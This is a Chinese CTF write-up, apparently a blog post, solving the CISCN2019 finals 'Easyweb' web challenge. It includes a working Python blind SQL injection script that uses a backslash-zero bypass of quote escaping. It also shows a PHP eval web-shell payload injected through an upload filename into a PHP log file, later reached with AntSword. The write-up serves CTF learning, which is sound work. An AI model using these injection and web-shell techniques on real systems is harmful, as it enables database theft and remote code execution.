[CISCN2019 总决赛 Day2 Web1]Easyweb

本文探讨了CISCN2019总决赛中的Web1 Easyweb挑战,涉及SQL注入手法,通过payload和源码审计揭示了如何利用字符绕过单引号过滤,实现文件名注入并获取shell。还提到了蚂蚁剑工具在获取flag过程中的作用。

[CISCN2019 总决赛 Day2 Web1]Easyweb

在这里插入图片描述扫描一下,发现有robots.txt在这里插入图片描述试着访问备份文件,但是是哪一个呢,这里在源码中发现这几个页面在这里插入图片描述一个一个的试在这里插入图片描述这里审计一下源码,对单引号进行了过滤,无法闭合单引号,所以我们用\0来转义掉它的单引号。输入\0,经过“addslashes”函数会先变成\0,然后经过“str_replace”函数,会变成,这样,就把id后面的单引号给转义了sql注入代码

import  requests

url = "http://59a1680b-ce34-463d-a669-50bf20d7d79c.node4.buuoj.cn:81//image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
    l = 1
    r = 130
    mid = (l + r)>>1
    while(l<r):
        payloads = payload.format(i,mid)
        print(url+payloads)
        html = requests.get(url+payloads)
        if "JFIF" in html.text:
            l = mid +1
        else:
            r = mid
        mid = (l + r)>>1
    result+=chr(mid)
    print(result)

破解得到的密码登录在这里插入图片描述
先随便上传一下在这里插入图片描述说的是把文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:filename="<?=@eval($_POST['a']);?>"
抓包绕过
在这里插入图片描述蚁剑链接在这里插入图片描述得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值